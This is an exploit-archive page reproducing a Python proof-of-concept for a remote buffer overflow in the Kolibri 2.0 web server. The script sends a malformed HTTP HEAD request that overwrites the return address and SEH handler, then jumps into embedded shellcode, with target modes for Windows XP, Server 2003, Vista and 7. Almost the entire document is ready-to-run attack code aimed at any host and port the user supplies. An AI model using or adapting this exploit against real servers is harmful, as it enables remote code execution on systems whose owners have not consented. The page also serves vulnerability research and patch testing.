Kolibri 2.0 – ‘HEAD’ Remote Buffer Overflow RET (SEH)

  • 作者: TheLeader
    日期: 2010-12-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15834/
  • #!/usr/bin/env python
    
    # _ ___________
    #(_)____ _ __/ __ \/ /_________/ /_/_/ |
    # / // __ \ | / / / / / //_/ _ \/ __// / / /
    #/ // / / / |/ / /_/ / ,< /__/ /_/ // / / /
    # /_//_/ /_/|___/\____/_/|_|\___/\__,_// /_/_/ 
    # Live by the byte |_/_/ 
    #
    # Members:
    #
    # Pr0T3cT10n
    # -=M.o.B.=-
    # TheLeader (gsog2009 [a7] homtail [d0t] com)
    # Sro
    # Debug
    #
    # Contact: inv0ked.israel@gmail.com
    #
    # -----------------------------------
    # Bug discovered by Pr0T3cT10n
    # Exploited by TheLeader, Debug
    # -----------------------------------
    # Description:
    #
    # Kolibri v2.0 is vulnerable to a remote buffer overflow attack.
    # By sending a malformed HEAD request, we are able to overwrite both the return address and an SEH handler.
    # Null bytes terminate the request though, but we are able to partially overwrite with a pointer to 
    # a POP + POP + RET instruction inside kolibri.exe and gain control over the execution via SEH.
    # This although gets complicated because the SEH handler offset between XP/2K3 and Vista/W7 is different
    # by 2 bytes (probably due to local stack variables), thus we are able to cover only 2 operating system with the SEH overwrite exploit.
    #
    # In order to successfully exploit the RET overwrite, we need to either overwrite ret with jmp to the stack
    # and then overwrite the stack with our shellcode, or find another way to get to our shellcode. Since null
    # terminates the request string, it is impossible to pratially overwrite RET with an address from the binary
    # and then overwrite with shellcode. We attempted finding another reliable way to get to our shellcode but haven't succeeded.
    # The most reasonable option left is to overwrite RET with an OS specific address from a DLL that gets loaded by Kolibri.
    # -----------------------------------
    #
    # Exploit Title: Kolibri v2.0 Buffer Overflow RET + SEH exploit (HEAD)
    # Date: 24/12/2010
    # Author: TheLeader
    # Affected Version: Kolibri-2.0
    # Tested on: Windows 7 x86 ENG/HEB , Windows Server 2003 SP2 ENG, Windows XP SP3 ENG
    # ISRAEL, NULLBYTE.ORG.IL
    
    import socket
    import sys
    
    print "\nKolibri v2.0 Buffer Overflow RET + SEH exploit"
    
    usage = (
    "Usage: kexploit.py host port [mode]\n\n"
    "Modes:\n"
    "1 - RET = XP SP3 ENG, SEH = VISTA + WIN7 (default)\n"
    "2 - RET = SERVER2003 SP2 ENG, SEH = VISTA + WIN7\n"
    "3 - RET = XP SP3 ENG, SEH = XP + SERVER2003\n"
    "4 - RET = SERVER2003 SP2 ENG, SEH = XP + SERVER2003\n"
    )
    
    if len(sys.argv) < 3:
    	print usage
    	sys.exit(0)
    
    host = sys.argv[1]
    
    try:
    	port = int(sys.argv[2])
    except ValueError:
    	print "[-] Error: port must be numeric!"
    	sys.exit(1)
    
    if len(sys.argv) > 3:
    	try:
    		mode = int(sys.argv[3])
    	except ValueError:
    		print "[-] Error: mode must be numeric!"
    		sys.exit(1)
    else:
    	mode = 1
    
    # ret offsets = 213, 515
    ret_offset = 515
    
    seh_offset_xp_2k3 = 792 # WINXP / WS2K3
    seh_offset_vista_7 = 794 # VISTA / WIN7
    
    # badchars = [0x00, 0x0d, 0x0a, 0x20, 0x3d, 0x3f]
    shellcode = (
    "\xb8\xe2\x96\x27\xb0\x33\xc9\xda\xde\xd9\x74\x24\xf4\x5b"
    "\xb1\x32\x31\x43\x10\x83\xeb\xfc\x03\xa1\x9a\xc5\x45\xd9"
    "\x4b\x80\xa6\x21\x8c\xf3\x2f\xc4\xbd\x21\x4b\x8d\xec\xf5"
    "\x1f\xc3\x1c\x7d\x4d\xf7\x97\xf3\x5a\xf8\x10\xb9\xbc\x37"
    "\xa0\x0f\x01\x9b\x62\x11\xfd\xe1\xb6\xf1\x3c\x2a\xcb\xf0"
    "\x79\x56\x24\xa0\xd2\x1d\x97\x55\x56\x63\x24\x57\xb8\xe8"
    "\x14\x2f\xbd\x2e\xe0\x85\xbc\x7e\x59\x91\xf7\x66\xd1\xfd"
    "\x27\x97\x36\x1e\x1b\xde\x33\xd5\xef\xe1\x95\x27\x0f\xd0"
    "\xd9\xe4\x2e\xdd\xd7\xf5\x77\xd9\x07\x80\x83\x1a\xb5\x93"
    "\x57\x61\x61\x11\x4a\xc1\xe2\x81\xae\xf0\x27\x57\x24\xfe"
    "\x8c\x13\x62\xe2\x13\xf7\x18\x1e\x9f\xf6\xce\x97\xdb\xdc"
    "\xca\xfc\xb8\x7d\x4a\x58\x6e\x81\x8c\x04\xcf\x27\xc6\xa6"
    "\x04\x51\x85\xac\xdb\xd3\xb3\x89\xdc\xeb\xbb\xb9\xb4\xda"
    "\x30\x56\xc2\xe2\x92\x13\x3c\xa9\xbf\x35\xd5\x74\x2a\x04"
    "\xb8\x86\x80\x4a\xc5\x04\x21\x32\x32\x14\x40\x37\x7e\x92"
    "\xb8\x45\xef\x77\xbf\xfa\x10\x52\xdc\x9d\x82\x3e\x23")
    
    ret_xp_sp3 = "\x13\x44\x87\x7C" # 0x7C874413 WINXP SP3 JMP ESP @ kernel32.dll
    ret_2k3_sp2 = "\xC3\x3B\xF7\x76" # 0x76F73BC3 WS2K3 SP2 JMP ESP @ winrnr.dll
    
    if mode == 1:
    	ret = ret_xp_sp3
    	seh_offset = seh_offset_vista_7
    elif mode == 2:
    	ret = ret_2k3_sp2
    	seh_offset = seh_offset_vista_7
    elif mode == 3:
    	ret = ret_xp_sp3
    	seh_offset = seh_offset_xp_2k3
    elif mode == 4:
    	ret = ret = ret_2k3_sp2
    	seh_offset = seh_offset_xp_2k3
    
    seh = "\x67\x1a\x48" # 0x0045586B @ kolibri.exe POP + POP + RET
    
    nseh="\x90\x90\xeb\xf7"
    jmp_back2 = "\xE9\x12\xFF\xFF\xFF"
    
    buf = "\x41" * (ret_offset)
    nops = "\x90" * (seh_offset - len(buf + ret + shellcode + jmp_back2 + nseh))
    
    req = ("HEAD /" + buf + ret + nops + shellcode + jmp_back2 + nseh + seh + " HTTP/1.1\r\n"
    "Host: " + host + ":" + str(port) + "\r\n"
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    "Accept-Language: he,en-us;q=0.7,en;q=0.3\r\n"
    "Accept-Encoding: gzip,deflate\r\n"
    "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n"
    "Keep-Alive: 115\r\n"
    "Connection: keep-alive\r\n\r\n")
    
    print "[+] Connecting to %s:%d" % (host, port)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    
    print "[+] Sending payload.."
    s.send(req)
    data = s.recv(1024)
    
    print "[+] Closing connection.."
    s.close()
    
    print "[+] Done!"